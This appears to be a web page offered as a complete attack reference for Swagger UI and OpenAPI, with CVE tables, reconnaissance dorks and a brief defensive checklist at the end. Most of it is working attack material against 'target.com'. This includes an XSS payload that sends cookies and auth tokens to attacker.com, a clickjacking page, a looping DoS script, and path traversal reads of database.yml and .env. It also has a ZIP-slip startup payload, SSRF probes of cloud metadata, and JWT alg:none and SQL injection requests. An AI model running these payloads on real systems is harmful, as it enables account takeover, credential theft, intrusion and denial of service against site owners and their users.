Swagger API & OpenAPI Security — Complete CVE Reference, Misconfigurations, PoC & Exploitation Guide

Swagger & OpenAPI Security
The Complete Attack Reference

Every CVE, misconfiguration, exploitation technique, PoC payload, Burp Suite example, and defensive countermeasure — covering 2020 through 2025.

15+ CVEs Documented XSS · RCE · DoS · SSRF · Path Traversal Burp Suite Examples PoC Code Included

1. Introduction — Why Swagger Is a High-Value Target

Swagger UI (now part of the OpenAPI ecosystem) is the world's most widely deployed API documentation and testing interface. It renders interactive HTML pages from OpenAPI/Swagger specification files (JSON or YAML), letting developers explore and test every endpoint of an API directly from the browser. While invaluable for development, a misconfigured or outdated Swagger instance can hand an attacker a complete blueprint of the entire attack surface — and in many cases, a direct exploitation vector.

🚨
Real-World Impact: Researchers at Vidoc Security reported over 60 confirmed instances of DOM XSS in Swagger UI across major bug-bounty programs including PayPal, Atlassian, Microsoft, GitLab, and Yahoo — all from a single vulnerability class.

The core risk factors are:

  • Swagger UI left enabled in production environments with no authentication
  • Outdated Swagger UI versions containing known XSS, SSRF, and spoofing vulnerabilities
  • The swagger.json / openapi.yaml file exposing internal endpoints, credentials, and tokens
  • The ?url= and ?configUrl= query parameters enabling phishing, SSRF, and XSS chains
  • Swagger-adjacent tools (SoapUI, swagger-codegen, rswag, http-swagger) carrying their own CVEs

2. Reconnaissance — Discovering Exposed Swagger Instances

2.1 Common Swagger UI Paths

URL Wordlist Common Swagger Paths
# Most common Swagger UI paths to probe
/swagger-ui.html
/swagger-ui/index.html
/swagger/index.html
/swagger/v1/swagger.json
/swagger/v2/swagger.json
/swagger/v3/swagger.json
/api-docs
/api-docs/swagger.json
/v1/api-docs
/v2/api-docs
/v3/api-docs
/openapi.json
/openapi.yaml
/api/swagger.json
/api/swagger.yaml
/docs
/docs/swagger.json
/swagger-resources
/swagger-resources/configuration/ui
/swagger-resources/configuration/security
/webjars/springfox-swagger-ui/swagger-ui.html
/classicapi/doc/

2.2 Google Dorks

Google Dorks OSINT Discovery
# Find Swagger UI instances on a target domain
intext:"Swagger UI" intitle:"Swagger UI" site:target.com
inurl:"/swagger-ui/index.html"
intitle:"Swagger UI" (inurl:"/swagger-ui/" OR inurl:"/swagger/" OR inurl:"/api-docs/")
site:nasa.gov inurl:(swagger-ui OR swagger.json OR swagger.yaml)
site:*.swagger.io -www

# Find raw spec files
site:target.com (inurl:api OR inurl:v1 OR inurl:v2) (filetype:json OR filetype:yaml)

# GitHub dorks — find vulnerable versions in package.json
"/swagger-ui-dist\": \"3.[1-3]/" path:*/package.json

2.3 Shodan Queries

Shodan Internet-Wide Scanning
http.component:"Swagger"
http.title:"Swagger UI"
http.html:"swagger-ui"
http.favicon.hash:"-1128940573"
http.title:"Swagger UI" +200
http.component:"Swagger" http.title:"Swagger UI"

2.4 Automated Discovery with Subfinder + httpx

Bash Automated Recon Pipeline
# Enumerate subdomains, probe for Swagger UI
subfinder -d target.com -all | httpx-toolkit -silent -title | grep "Swagger UI"

# Scan a list of domains for Swagger paths
cat domains.txt | httpx -path /docs,/swagger,/api-docs,/swagger-ui,/swagger-ui.html -mc 200

# Extract all API paths from a swagger.json and fuzz them
cat swagger.json | jq -r '.paths | keys[]' | ffuf -u https://target.com/FUZZ -mc 200,401,403

2.5 Analysing the swagger.json for Hidden Endpoints

JSON / Python Endpoint Extraction
# Example of a dangerous swagger.json exposing sensitive paths
{
  "paths": {
    "/admin/debug": {
      "get": { "description": "Access debug info — NO AUTH REQUIRED" }
    },
    "/internal/config": {
      "post": { "description": "Post internal configurations" }
    },
    "/v2/users/{userId}/reset-password": {
      "post": { "description": "Admin password reset" }
    }
  }
}

# Python script to extract and test all paths
import requests, json

spec = requests.get("https://target.com/swagger.json").json()
base = spec.get("host", "target.com")
for path in spec["paths"]:
    url = f"https://{base}{path}"
    r = requests.get(url, verify=False)
    if r.status_code != 404:
        print(f"[{r.status_code}] {url}")

3. Master CVE Reference Table (2020–2025)

CVE ID Product Type CVSS Affected Versions Published NVD Link
CVE-2020-26870 DOMPurify (used by Swagger UI) XSS / mXSS 6.1 DOMPurify < 2.2.3 (Swagger UI 3.14.1–3.38.0) 2020-10 NVD ↗
CVE-2021-46708 swagger-ui-dist (npm) Clickjacking 6.1 < 4.1.3 2022-03 NVD ↗
CVE-2021-21363 swagger-codegen (Maven) Insecure Temp File 5.5 < 3.0.25 2021-03 NVD ↗
CVE-2018-25031 Swagger UI Spoofing / UI Misrep. 4.3 < 4.1.3 2022-03 NVD ↗
CVE-2022-24863 http-swagger (Go) DoS / Memory Exhaust 7.5 < 1.2.6 2022-04 NVD ↗
CVE-2023-38337 rswag (Ruby) Path Traversal 7.5 < 2.10.1 2023-07 NVD ↗
CVE-2024-22207 fastify-swagger-ui (Node.js) File Disclosure 5.3 < 2.1.0 2024-01 NVD ↗
CVE-2024-7565 SmartBear SoapUI RCE / Path Traversal 7.8 All versions before patch 2024-11 NVD ↗
CVE-2024-13700 Embed Swagger UI (WordPress) Stored XSS 6.4 All versions 2024 NVD ↗
CVE-2025-7901 Swagger UI (configUrl) XSS via configUrl Problematic Multiple 2025-07 NVD ↗
CVE-2025-8191 Swagger UI (configUrl) XSS via configUrl Medium Multiple 2025-07 CVE.org ↗
GHSA-qrmm-w75w-3wpx swagger-ui / Swashbuckle SSRF / Phishing Moderate swagger-ui <4.1.3 / Swashbuckle <6.3.0 2021-12 GitHub ↗
CVE-2016-1000229 swagger-ui (legacy) XSS in key names 6.1 < 2.2.1 2016 NVD ↗
CVE-2016-5641 swagger-codegen (Rapid7) RCE via Param Injection 9.8 Multiple generators 2016 NVD ↗

4. DOM XSS via DOMPurify Bypass (Swagger UI ≥3.14.1 <3.38.0)

This is arguably the most impactful Swagger UI vulnerability class, enabling DOM-based XSS in versions 3.14.1 through 3.38.0 by chaining the ?url= / ?configUrl= query parameters with a DOMPurify bypass. It was exploited at PayPal, Atlassian, Microsoft, GitLab, Yahoo, and 60+ other organisations.

💀
Root Cause: Swagger UI uses an outdated DOMPurify (≤2.2.2) to sanitise Markdown rendered from API specification descriptions. A mutation XSS bypass in DOMPurify 2.2.2 combined with Swagger UI's dangerouslySetInnerHTML React call enables arbitrary script execution.

4.1 Vulnerability Flow

1
Attacker hosts a malicious OpenAPI YAML spec with an XSS payload embedded in the info.description field (parsed as Markdown).
2
Attacker crafts a URL: https://victim.com/swagger-ui/?url=https://attacker.com/evil.yaml
3
Victim clicks the link. Swagger UI fetches the remote spec, renders the description through Remarkable (Markdown parser) → DOMPurify → dangerouslySetInnerHTML.
4
The mXSS payload mutates during DOMPurify sanitisation and survives, executing in the victim's browser context under the trusted domain.

4.2 The DOMPurify Bypass Payload

YAML — Malicious Spec PoC Payload
# evil.yaml — host on attacker-controlled server
swagger: '2.0'
info:
  title: Malicious Spec
  description: |
    <math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext>
    <textarea><a title="</textarea><img src='#' onerror='alert(window.origin)'>">
paths:
  /accounts:
    get:
      responses:
        '200':
          description: OK

4.3 Quick-Test URLs

Quick Test — Paste into browser to check if target is vulnerable
URLs PoC Test Vectors
# Test 1 — configUrl parameter
https://TARGET/swagger-ui/?configUrl=https://jumpy-floor.surge.sh/test.json

# Test 2 — url parameter
https://TARGET/swagger-ui/?url=https://jumpy-floor.surge.sh/test.yaml

# Test 3 — data: URI base64 encoded config (Jamf Pro / classic APIs)
https://TARGET/classicapi/doc/?configUrl=data:text/html;base64,ewoidXJsIjoiaHR0cHM6Ly9zdGFuZGluZy1zYWx0LnN1cmdlLnNoL3Rlc3QueWFtbCIKfQ==

# Test 4 — Extract auth token from localStorage (if XSS fires)
https://TARGET/swagger-ui/?configUrl=https://attacker.com/xsscookie.json

4.4 Cookie / Token Exfiltration Payload

YAML — Token Theft Account Takeover PoC
# xsscookie.yaml — exfiltrate auth tokens from localStorage
swagger: '2.0'
info:
  title: Token Stealer
  description: |
    <math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext>
    <textarea><a title="</textarea><img src='#' onerror='
    fetch(`https://attacker.com/steal?c=`+btoa(document.cookie+localStorage.getItem(`authToken`)))
    '>">
paths: {}

# Jamf Pro specific — extracts authToken
# alert(localStorage.getItem('authToken'))

5. CVE-2018-25031 — UI Spoofing & Misrepresentation

CVE-2018-25031
Swagger UI — Remote Spoofing Attack
Swagger UI 4.1.2 and earlier allows remote attackers to conduct spoofing attacks by persuading a victim to open a crafted URL that loads a remote OpenAPI definition, causing the UI to display misleading API documentation under a trusted domain.
CVSS 4.3 MEDIUM Spoofing

NVD ↗   PoC on GitHub ↗

5.1 Exploit Script (Python + Selenium)

Python CVE-2018-25031 / EDB-51379 — Vulnerability Checker
# Source: Exploit-DB EDB-51379 by Rafael Cintra Lopes
# Usage: python swagger-exploit.py https://target.com/swagger-ui/

from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import time, json, sys

target = sys.argv[1]
options = webdriver.ChromeOptions()
options.add_argument("--headless")
options.add_argument("--ignore-certificate-errors")

driver = webdriver.Chrome(options=options)
driver.get(target + "?configUrl=https://petstore.swagger.io/v2/hacked1.json")
time.sleep(10)
driver.get(target + "?url=https://petstore.swagger.io/v2/hacked2.json")
time.sleep(10)

logs = driver.get_log("performance")
for log in logs:
    msg = json.loads(log["message"])["message"]
    if "Network.response" in msg.get("method", ""):
        url = msg.get("params", {}).get("response", {}).get("url", "")
        if "hacked1.json" in url:
            print(f"[VULNERABLE] configUrl parameter: {target}?configUrl=...")
        if "hacked2.json" in url:
            print(f"[VULNERABLE] url parameter: {target}?url=...")
driver.quit()
⚠️
Attack Scenario: An attacker sends a victim a link like https://trusted-company.com/api-docs?url=https://evil.com/fake-api.yaml. The victim sees the trusted domain in the address bar but interacts with the attacker's fake API documentation, potentially submitting credentials to the attacker's server via the "Try it out" feature.

6. CVE-2021-46708 — Clickjacking in swagger-ui-dist

CVE-2021-46708
swagger-ui-dist — Clickjacking / UI Redressing
The swagger-ui-dist npm package before 4.1.3 could allow a remote attacker to hijack the clicking action of the victim. By persuading a victim to visit a malicious website, the attacker can exploit this vulnerability to hijack click actions and launch further attacks.
CVSS 6.1 MEDIUM Clickjacking

NVD ↗

6.1 Clickjacking PoC

HTML Clickjacking PoC Frame
<!-- Attacker page: overlays transparent Swagger UI iframe over a fake button -->
<!DOCTYPE html>
<html>
<head>
  <title>Win a Prize!</title>
  <style>
    #overlay { position:relative; width:900px; height:600px; }
    #decoy   { position:absolute; top:200px; left:350px;
               background:#28a745; color:#fff; padding:12px 24px;
               font-size:18px; border-radius:6px; z-index:1; }
    #frame   { position:absolute; top:0; left:0; width:100%; height:100%;
               opacity:0.01; z-index:2; border:none; }
  </style>
</head>
<body>
  <div id="overlay">
    <button id="decoy">Click to Claim Your Prize!</button>
    <iframe id="frame"
      src="https://victim.com/swagger-ui/?url=https://attacker.com/evil.yaml">
    </iframe>
  </div>
</body>
</html>
🛡️
Fix: Upgrade swagger-ui-dist to ≥4.1.3. Add X-Frame-Options: DENY and Content-Security-Policy: frame-ancestors 'none' response headers to prevent framing.

7. CVE-2022-24863 — DoS via Memory Exhaustion (http-swagger)

CVE-2022-24863
http-swagger (Go) — Denial of Service
In versions of http-swagger prior to 1.2.6, an attacker may perform a DoS attack via memory exhaustion on the host system. The cause is that non-GET requests to the Swagger path prefix handler trigger uncontrolled memory allocation.
CVSS 7.5 HIGH DoS

NVD ↗   GitHub Advisory ↗

7.1 DoS PoC (curl)

Bash CVE-2022-24863 — Memory Exhaustion PoC
# Trigger memory exhaustion by sending non-GET requests to the swagger path
# Replace TARGET with the vulnerable Go application endpoint

# Single POST request to swagger handler
curl -X POST https://TARGET/swagger/index.html \
  -H "Content-Type: application/json" \
  -d '{"test":"payload"}'

# Amplified attack — send many concurrent requests
for i in $(seq 1 1000); do
  curl -s -X POST https://TARGET/swagger/index.html \
    -H "Content-Type: application/json" \
    -d '{"large":"'$(python3 -c "print('A'*10000)")'"}' &
done
wait
echo "[*] DoS requests sent — monitor target memory usage"

8. CVE-2023-38337 — Path Traversal in rswag (Ruby)

CVE-2023-38337
rswag — Arbitrary JSON/YAML File Read
rswag before 2.10.1 allows remote attackers to read arbitrary JSON and YAML files via directory traversal. The rswag-api middleware resolves the requested URL path against the filesystem without proper sanitisation, exposing any JSON/YAML file on the server.
CVSS 7.5 HIGH Path Traversal Info Disclosure

NVD ↗   GitHub Issue ↗

8.1 Path Traversal PoC

Bash / HTTP CVE-2023-38337 — File Read PoC
# Read arbitrary YAML/JSON files via path traversal in rswag-api
# The middleware serves any .yml, .yaml, .json file relative to the app root

# Read database configuration
curl https://TARGET/api-docs/../../../config/database.yml

# Read Rails credentials (if accessible)
curl https://TARGET/api-docs/../../../config/credentials.yml.enc

# Read environment file
curl https://TARGET/api-docs/../../../.env

# URL-encoded traversal variant
curl "https://TARGET/api-docs/%2E%2E%2F%2E%2E%2F%2E%2E%2Fconfig%2Fdatabase.yml"

# Automated traversal with ffuf
ffuf -u "https://TARGET/api-docs/FUZZ" \
  -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
  -mc 200 -fs 0

9. CVE-2024-22207 — File Disclosure in fastify-swagger-ui

CVE-2024-22207
@fastify/swagger-ui — Module Directory Exposure
Prior to version 2.1.0, the default configuration of @fastify/swagger-ui without baseDir set leads to all files in the module's directory being exposed via HTTP routes. This can expose source code, configuration files, and other sensitive assets.
CVSS 5.3 MEDIUM File Disclosure

NVD ↗   GitHub Advisory ↗

9.1 Exploitation PoC

Bash CVE-2024-22207 — File Enumeration
# Enumerate files exposed by fastify-swagger-ui without baseDir
# The module serves its entire directory under the swagger route

# Check for package.json exposure
curl https://TARGET/documentation/package.json

# Check for node_modules exposure
curl https://TARGET/documentation/node_modules/fastify-swagger-ui/package.json

# Automated enumeration
ffuf -u https://TARGET/documentation/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -mc 200

# Fix: Set baseDir option in fastify-swagger-ui configuration
# await fastify.register(require('@fastify/swagger-ui'), {
#   routePrefix: '/documentation',
#   baseDir: '/path/to/swagger/assets'  // <-- required fix
# })

10. CVE-2024-7565 — Remote Code Execution in SmartBear SoapUI

CVE-2024-7565
SmartBear SoapUI — Directory Traversal RCE
The unpackageAll function in SoapUI lacks proper validation of user-supplied paths prior to file operations. An attacker can leverage a malicious project file to write arbitrary files outside the intended directory, leading to remote code execution in the context of the current user.
CVSS 7.8 HIGH RCE Path Traversal

NVD ↗   ZDI Advisory ↗

10.1 Attack Vector

XML / Concept CVE-2024-7565 — Malicious SoapUI Project
<!-- Malicious SoapUI project file with path traversal in archive entry -->
<!-- When victim opens this project, unpackageAll() writes to arbitrary path -->

# Conceptual attack flow:
# 1. Attacker creates a ZIP-based SoapUI project
# 2. Archive contains entry: ../../../../startup.sh (or .bat on Windows)
# 3. Victim opens project in SoapUI
# 4. unpackageAll() extracts without sanitising the path
# 5. Malicious script written to startup directory → executes on next boot

# Python PoC — create malicious ZIP
import zipfile, os

with zipfile.ZipFile('malicious_project.zip', 'w') as z:
    # Traversal path in ZIP entry name
    z.writestr(
        '../../../../AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/evil.bat',
        '@echo off\ncalc.exe\n'  # Replace with actual payload
    )
print("[*] Malicious SoapUI project created: malicious_project.zip")

11. SSRF via the ?url= Parameter (GHSA-qrmm-w75w-3wpx)

Swagger UI's ?url= and ?configUrl= parameters allow loading remote OpenAPI definitions. In versions prior to 4.1.3, these parameters were enabled by default, creating a Server-Side Request Forgery (SSRF) and phishing vector. The server-side risk is moderate (the fetch is client-side), but the phishing / UI redress risk is significant.

11.1 SSRF / Phishing Attack Flow

Phishing Attack via ?url= Parameter
GET /api-docs?url=https://evil.attacker.com/fake-banking-api.yaml HTTP/1.1 Host: trusted-bank.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Accept: text/html,application/xhtml+xml Cookie: session=abc123 --- Swagger UI fetches the remote spec and renders it --- --- Victim sees "trusted-bank.com" in address bar --- --- But interacts with attacker's fake API documentation --- --- "Try it out" sends credentials to evil.attacker.com ---

11.2 SSRF to Internal Network Probing

Bash SSRF Internal Network Probe
# If the swagger ?url= parameter triggers a server-side fetch,
# probe internal services (applicable to server-side Swagger implementations)

# Probe internal metadata service (AWS)
curl "https://target.com/api-docs?url=http://169.254.169.254/latest/meta-data/"

# Probe internal services
curl "https://target.com/api-docs?url=http://localhost:8080/admin"
curl "https://target.com/api-docs?url=http://10.0.0.1:9200/_cat/indices"  # Elasticsearch
curl "https://target.com/api-docs?url=http://10.0.0.1:6379/"  # Redis

# Burp Collaborator-based SSRF detection
curl "https://target.com/api-docs?url=http://BURP-COLLABORATOR-ID.burpcollaborator.net/test"

12. Critical Misconfigurations

12.1 Swagger UI Exposed in Production Without Authentication

🚨
Severity: Critical. Exposing Swagger UI in production gives attackers a complete map of every API endpoint, parameter, data type, and authentication scheme. This dramatically reduces the effort required to find and exploit vulnerabilities.
Bash Detection — Check for Unauthenticated Swagger
# Check if Swagger UI is accessible without authentication
curl -s -o /dev/null -w "%{http_code}" https://target.com/swagger-ui/index.html
curl -s -o /dev/null -w "%{http_code}" https://target.com/api-docs
curl -s -o /dev/null -w "%{http_code}" https://target.com/swagger.json

# If response is 200 without auth headers — VULNERABLE
# Check for sensitive data in the spec file
curl -s https://target.com/swagger.json | jq '.' | grep -iE "password|secret|key|token|credential"

12.2 Hardcoded Credentials in swagger.json

JSON — Dangerous Example Sensitive Data Exposure
// DANGEROUS: swagger.json exposing credentials in examples
{
  "paths": {
    "/auth/login": {
      "post": {
        "parameters": [{
          "in": "body",
          "schema": {
            "example": {
              "username": "admin",
              "password": "P@ssw0rd123!"  // HARDCODED CREDENTIAL EXPOSED
            }
          }
        }]
      }
    }
  },
  "securityDefinitions": {
    "ApiKeyAuth": {
      "type": "apiKey",
      "x-default": "sk-prod-1234567890abcdef"  // HARDCODED API KEY
    }
  }
}

12.3 Unauthenticated Admin Endpoints Documented in Swagger

Burp Suite — Exploiting Unauthenticated Admin Endpoint from Swagger
--- Step 1: Extract admin path from swagger.json --- GET /swagger.json HTTP/1.1 Host: target.com HTTP/1.1 200 OK Content-Type: application/json {"paths":{"/admin/users":{"get":{"description":"List all users"}}}} --- Step 2: Directly access the admin endpoint --- GET /admin/users HTTP/1.1 Host: target.com HTTP/1.1 200 OK {"users":[{"id":1,"email":"admin@company.com","role":"ADMIN"},...]} --- RESULT: Full user database exposed without authentication ---

12.4 CORS Misconfiguration on Swagger-Documented APIs

HTTP CORS Misconfiguration Detection
# Test for overly permissive CORS on API endpoints found via Swagger
curl -s -I -X OPTIONS https://target.com/api/v1/users \
  -H "Origin: https://evil.com" \
  -H "Access-Control-Request-Method: GET"

# Dangerous response — wildcard CORS
# Access-Control-Allow-Origin: *
# Access-Control-Allow-Credentials: true  ← CRITICAL if combined

# Exploit: steal authenticated API responses from victim's browser
# (requires XSS or user visiting attacker page)

12.5 Deprecated / Debug Endpoints Left in Swagger Spec

Bash Find Deprecated/Debug Endpoints
# Extract all paths and look for dangerous keywords
curl -s https://target.com/swagger.json | \
  jq -r '.paths | keys[]' | \
  grep -iE "debug|admin|internal|test|dev|backup|old|v0|legacy|temp|dump|export"

# Check for deprecated flag in spec
curl -s https://target.com/swagger.json | \
  jq '.paths | to_entries[] | select(.value[].deprecated == true) | .key'

13. Burp Suite Attack Walkthroughs

13.1 Importing Swagger Spec into Burp Suite

1
Install the OpenAPI Parser extension from the BApp Store (PortSwigger): Extender → BApp Store → search "OpenAPI Parser"
2
Download the target's swagger.json: curl -o spec.json https://target.com/swagger.json
3
In Burp: Extensions → OpenAPI Parser → Load spec.json. All endpoints are automatically added to the site map with correct request structures.
4
Right-click any request → Send to Intruder / Repeater / Scanner to begin testing.

13.2 Burp Suite — Testing for IDOR via Swagger-Documented Endpoints

Burp Repeater — IDOR via Object ID Manipulation
--- Original request (your account) --- GET /api/v1/users/1001/profile HTTP/1.1 Host: target.com Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQiOiIxMDAxIn0... HTTP/1.1 200 OK {"id":1001,"email":"you@example.com","role":"user"} --- Modified request (another user's account — IDOR) --- GET /api/v1/users/1002/profile HTTP/1.1 Host: target.com Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQiOiIxMDAxIn0... HTTP/1.1 200 OK ← Should be 403 Forbidden! {"id":1002,"email":"victim@example.com","role":"admin","ssn":"123-45-6789"}

13.3 Burp Suite — XSS via configUrl Parameter

Burp Repeater — DOM XSS via configUrl
GET /swagger-ui/?configUrl=https://attacker.com/evil.json HTTP/1.1 Host: target.com User-Agent: Mozilla/5.0 Accept: text/html HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 --- Response loads Swagger UI which fetches attacker's spec --- --- Malicious YAML description triggers DOM XSS in browser --- --- alert(window.origin) fires under target.com domain --- --- Test with Burp Collaborator --- GET /swagger-ui/?configUrl=http://BURP-COLLAB-ID.burpcollaborator.net/swagger.json HTTP/1.1 Host: target.com

13.4 Burp Intruder — Brute-Force API Endpoints from Swagger

Burp Intruder — API Endpoint Enumeration
--- Intruder configuration for API version enumeration --- GET /api/§v1§/users HTTP/1.1 Host: target.com Authorization: Bearer TOKEN --- Payload list: v1, v2, v3, v4, v5, v0, beta, alpha, internal --- --- Look for 200/403 responses vs 404 to find hidden API versions --- --- Intruder for user ID enumeration (IDOR) --- GET /api/v1/users/§1001§ HTTP/1.1 Host: target.com --- Payload: Numbers 1000-2000, Grep for 200 responses ---

13.5 Burp Suite — SQL Injection via Swagger-Documented Parameters

Burp Repeater — SQL Injection in API Parameter
--- Swagger spec reveals: GET /api/v1/products?category={category} --- --- Test for SQL injection in the category parameter --- GET /api/v1/products?category=electronics' OR '1'='1 HTTP/1.1 Host: target.com Authorization: Bearer TOKEN HTTP/1.1 200 OK {"products":[...all products returned - SQLi confirmed...]} --- Time-based blind SQLi --- GET /api/v1/products?category=electronics'; WAITFOR DELAY '0:0:5'-- HTTP/1.1 --- If response delays 5 seconds → SQLi confirmed ---

13.6 Burp Suite — JWT Token Manipulation on Swagger-Authenticated APIs

Burp Repeater — JWT Algorithm Confusion (alg:none)
--- Original JWT: eyJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQiOiIxMDAxIiwicm9sZSI6InVzZXIifQ.SIG --- --- Decoded: {"alg":"HS256"} . {"userId":"1001","role":"user"} --- --- Modified JWT with alg:none and role:admin --- --- Header: {"alg":"none"} → base64: eyJhbGciOiJub25lIn0 --- --- Payload: {"userId":"1001","role":"admin"} → base64: eyJ1c2VySWQiOiIxMDAxIiwicm9sZSI6ImFkbWluIn0 --- GET /api/v1/admin/users HTTP/1.1 Host: target.com Authorization: Bearer eyJhbGciOiJub25lIn0.eyJ1c2VySWQiOiIxMDAxIiwicm9sZSI6ImFkbWluIn0. HTTP/1.1 200 OK ← Privilege escalation successful if alg:none accepted

14. OWASP API Security Top 10 (2023) Mapped to Swagger

OWASP ID Risk Swagger Attack Vector Burp Technique
API1:2023 Broken Object Level Authorization (BOLA/IDOR) Swagger reveals object ID parameters (userId, orderId). Modify IDs in Repeater. Repeater / Intruder — ID enumeration
API2:2023 Broken Authentication Swagger exposes /auth endpoints. Test for weak tokens, JWT alg:none, missing auth on endpoints. Repeater — remove/modify auth headers
API3:2023 Broken Object Property Level Auth Swagger shows all object properties. Mass assignment: send extra fields in POST/PUT. Repeater — add undocumented fields
API4:2023 Unrestricted Resource Consumption Swagger reveals pagination params. Send maxLimit=99999 or no pagination. Intruder — large payload fuzzing
API5:2023 Broken Function Level Authorization Swagger exposes admin endpoints. Access them with a low-privilege token. Repeater — access admin paths with user token
API6:2023 Unrestricted Access to Sensitive Business Flows Swagger reveals business logic flows. Replay/skip steps (e.g., checkout without payment). Repeater — skip workflow steps
API7:2023 Server Side Request Forgery (SSRF) Swagger ?url= parameter. Also look for URL parameters in API endpoints. Repeater — Burp Collaborator SSRF detection
API8:2023 Security Misconfiguration Swagger enabled in production, no auth, verbose errors, CORS wildcard. Scanner — active scan on Swagger endpoints
API9:2023 Improper Inventory Management Swagger exposes deprecated/shadow API versions (/v0, /beta, /internal). Intruder — version enumeration
API10:2023 Unsafe Consumption of APIs Swagger-documented third-party integrations. Inject malicious data into upstream calls. Repeater — inject into third-party API params

15. Tools & Automation

Tool Purpose Command / Usage Link
Nuclei Automated Swagger XSS/SSRF scanning nuclei -t swagger-api.yaml -u https://target.com GitHub ↗
ffuf Swagger path brute-forcing ffuf -w swagger_paths.txt -u https://target.com/FUZZ GitHub ↗
Swagger-EZ Bulk API request generation for Burp Load spec → Send All → intercept in Burp Tool ↗
Burp OpenAPI Parser Import Swagger spec into Burp Suite BApp Store → OpenAPI Parser → Load spec BApp ↗
swurg Burp extension for OpenAPI testing Load swagger.json → generates test requests GitHub ↗
subfinder + httpx Subdomain enumeration + Swagger discovery subfinder -d target.com | httpx -title | grep Swagger GitHub ↗
dirsearch Swagger path discovery with wordlist dirsearch -u https://target.com -w swagger_paths.txt GitHub ↗
Postman Import and test Swagger/OpenAPI specs Import → OpenAPI → test all endpoints postman.com ↗
swagger-ui-dist PoC CVE-2018-25031 checker python swagger-exploit.py https://target.com/swagger-ui/ EDB ↗

15.1 Nuclei Templates for Swagger

YAML — Nuclei Template Swagger XSS Detection Template
# nuclei-swagger-xss.yaml
id: swagger-ui-xss-configurl

info:
  name: Swagger UI DOM XSS via configUrl
  author: security-researcher
  severity: medium
  description: Swagger UI versions 3.14.1-3.38.0 are vulnerable to DOM XSS via configUrl
  tags: swagger,xss,dom-xss,cve

requests:
  - method: GET
    path:
      - "{{BaseURL}}/swagger-ui/?configUrl=https://jumpy-floor.surge.sh/test.json"
      - "{{BaseURL}}/api-docs?configUrl=https://jumpy-floor.surge.sh/test.json"
      - "{{BaseURL}}/swagger/index.html?configUrl=https://jumpy-floor.surge.sh/test.json"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "swagger-ui"
          - "SwaggerUI"
        condition: or
      - type: word
        part: body
        words:
          - "jumpy-floor.surge.sh"
        negative: true

15.2 Python — Mass Swagger Vulnerability Scanner

Python Automated Swagger Security Scanner
#!/usr/bin/env python3
# swagger_scanner.py — Automated Swagger security scanner
# Usage: python3 swagger_scanner.py -u https://target.com

import requests, json, sys, argparse
from urllib.parse import urljoin, urlparse
requests.packages.urllib3.disable_warnings()

SWAGGER_PATHS = [
    "/swagger-ui/index.html", "/swagger-ui.html", "/swagger/index.html",
    "/api-docs", "/swagger.json", "/openapi.json", "/openapi.yaml",
    "/v1/api-docs", "/v2/api-docs", "/v3/api-docs",
    "/swagger/v1/swagger.json", "/swagger/v2/swagger.json",
    "/docs", "/api/swagger.json", "/swagger-resources"
]

XSS_PAYLOADS = [
    "?configUrl=https://jumpy-floor.surge.sh/test.json",
    "?url=https://jumpy-floor.surge.sh/test.yaml",
]

SENSITIVE_KEYWORDS = ["password", "secret", "apikey", "api_key",
                      "token", "credential", "private_key", "access_key"]

def scan(base_url):
    print(f"\n[*] Scanning: {base_url}\n" + "="*60)
    headers = {"User-Agent": "Mozilla/5.0 SwaggerScanner/1.0"}

    # 1. Discover Swagger endpoints
    found_specs = []
    for path in SWAGGER_PATHS:
        url = urljoin(base_url, path)
        try:
            r = requests.get(url, headers=headers, verify=False, timeout=8)
            if r.status_code == 200:
                print(f"[FOUND] {url} ({r.status_code})")
                found_specs.append(url)
        except: pass

    # 2. Check for XSS via configUrl/url params
    for spec_url in found_specs:
        if "swagger-ui" in spec_url or "swagger/index" in spec_url:
            for payload in XSS_PAYLOADS:
                test_url = spec_url + payload
                try:
                    r = requests.get(test_url, headers=headers, verify=False, timeout=8)
                    if r.status_code == 200:
                        print(f"[XSS?] configUrl/url param accepted: {test_url}")
                except: pass

    # 3. Check for sensitive data in spec files
    for spec_url in found_specs:
        if spec_url.endswith((".json", ".yaml", "api-docs")):
            try:
                r = requests.get(spec_url, headers=headers, verify=False, timeout=8)
                content = r.text.lower()
                for kw in SENSITIVE_KEYWORDS:
                    if kw in content:
                        print(f"[SENSITIVE] Keyword '{kw}' found in {spec_url}")
            except: pass

    # 4. Check missing security headers
    try:
        r = requests.get(base_url, headers=headers, verify=False, timeout=8)
        missing = []
        for h in ["X-Frame-Options", "Content-Security-Policy",
                  "X-Content-Type-Options", "Strict-Transport-Security"]:
            if h.lower() not in [k.lower() for k in r.headers]:
                missing.append(h)
        if missing:
            print(f"[HEADERS] Missing security headers: {', '.join(missing)}")
    except: pass

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", required=True)
    args = parser.parse_args()
    scan(args.url)

16. Defensive Hardening Checklist

Principle: Swagger UI is a development tool. It should never be accessible in production without strong authentication, IP restriction, and up-to-date patching.
# Control Implementation Priority
1 Disable Swagger in Production Use environment flags (if (env.isDev) enableSwagger()). Never deploy to prod. CRITICAL
2 Upgrade Swagger UI ≥4.1.3 Fixes CVE-2018-25031, CVE-2021-46708, DOM XSS, SSRF. Pin version in package.json. CRITICAL
3 Disable ?url= and ?configUrl= Params Set DisableSwaggerDefaultUrl / supportedSubmitMethods: [] in config. HIGH
4 Require Authentication for Swagger UI Protect with OAuth2, API key, or IP whitelist. Never allow anonymous access. HIGH
5 Remove Sensitive Data from Specs No hardcoded passwords, API keys, or tokens in examples or defaults. HIGH
6 Add Security Headers X-Frame-Options: DENY, CSP: frame-ancestors 'none', X-Content-Type-Options: nosniff HIGH
7 Implement Proper CORS Policy Never use Access-Control-Allow-Origin: * with credentials. Whitelist specific origins. HIGH
8 Restrict Exposed Endpoints in Spec Exclude admin, internal, debug, and deprecated endpoints from public swagger.json. MEDIUM
